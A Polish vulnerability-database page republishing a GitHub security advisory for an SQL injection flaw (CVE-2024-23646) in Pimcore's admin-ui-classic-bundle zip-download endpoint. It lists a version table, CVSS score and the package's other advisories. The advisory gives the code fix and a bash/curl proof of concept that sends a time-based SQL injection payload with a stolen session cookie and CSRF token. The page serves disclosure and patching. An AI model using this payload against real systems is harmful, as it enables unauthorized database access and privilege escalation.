Wysoka

SQL Injection in Admin download files as zip

Ujawniono: 24.01.2024
Aktualizacja: 11.10.2026 10:22

Summary

The application allows to create zip files from available files on the site. The parameter "selectedIds", is susceptible to SQL Injection.

Details

downloadAsZipJobsAction escape parameters, but downloadAsZipAddFilesAction not. The following code should be added:

php

  foreach ($selectedIds as $selectedId) {
      if ($selectedId) {
          $quotedSelectedIds[] = $db->quote($selectedId);
      }
  }

PoC

Set up an example project as described on https://github.com/pimcore/demon (demo package with example content)
Log In. Grab the X-pimcore-csrf-token header from any request to the backend, as well as the PHPSESSID cookie.
Run the following script, substituting the values accordingly:

bash

#!/bin/bash
BASE_URL=http://localhost # REPLACE THIS!
CSRF_TOKEN="5133f9d5d28de7dbab39e33ac7036271284ee42e" # REPLACE THIS!
COOKIE="PHPSESSID=4312797207ba3b342b29218fa42f3aa3" # REPLACE THIS!
SQL="(select*from(select(sleep(6)))a)"

curl "${BASE_URL}/admin/asset/download-as-zip-add-files?_dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01" \
    -X GET \
    -H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \
    -H "Cookie: ${COOKIE}" `

The response is delayed by 6 seconds.

Impact

Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

Platforma	Paczka	Podatne wersje	Poprawka w wersji
Paczka Composer	pimcore/admin-ui-classic-bundle	>= 1.0.0, < 1.3.2	1.3.2

Odnośniki

Ocena CVSS 8.8/10

Wektor CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Słabość (CWE): CWE-89
Platforma: Composer
Paczka: pimcore/admin-ui-classic-bundle
Ujawniono: 24.01.2024
Aktualizacja: 11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-cwx6-4wmf-c6xv - CC BY 4.0

Historia podatności: pimcore/admin-ui-classic-bundle

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (17) w archiwum

Wszystkich wpisów: 17
Pierwsza → ostatnia: 07.2023 05.2026
Bez poprawki: 0
Wykorzystywana w atakach: 0

Rozkład istotności

Wysoka 6
Średnia 10
Niska 1

Ujawnienia w latach

2023: 6
2024: 7
2025: 2
2026: 2

27.05.2026

Pimcore Admin Classic Bundle Vulnerable to SQL Injection in Translation Grid Date Filter via Unsanitized Property Parameter

Wysoka · 8.8 CVE-2026-44741 >= 2.0.0-RC1, < 2.3.6, < 1.7.18 2.3.6, 1.7.18
03.09.2024

Pimcore includes vulnerable PHPOffice/PhpSpreadsheet

Wysoka · 8.8 ghsa-hq76-662x-7mw4 < 1.3.11, >= 1.4.0, < 1.4.7, >= 1.5.0, < 1.5.4 1.3.11, 1.4.7, 1.5.4
20.02.2024

Pimcore Host Header Injection in user invitation link

Wysoka · 8.1 CVE-2024-25625 < 1.3.4 1.3.4
24.01.2024

Host header injection in the password reset

Wysoka · 8.8 CVE-2024-23648 < 1.2.3 1.2.3
24.01.2024

SQL Injection in Admin download files as zip ten wpis

Wysoka · 8.8 CVE-2024-23646 >= 1.0.0, < 1.3.2 1.3.2
27.11.2023

Pimcore Admin UI has Two Factor Authentication disabled for non admin security firewalls

Wysoka · 8.4 CVE-2023-49075 < 1.2.2 1.2.2

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację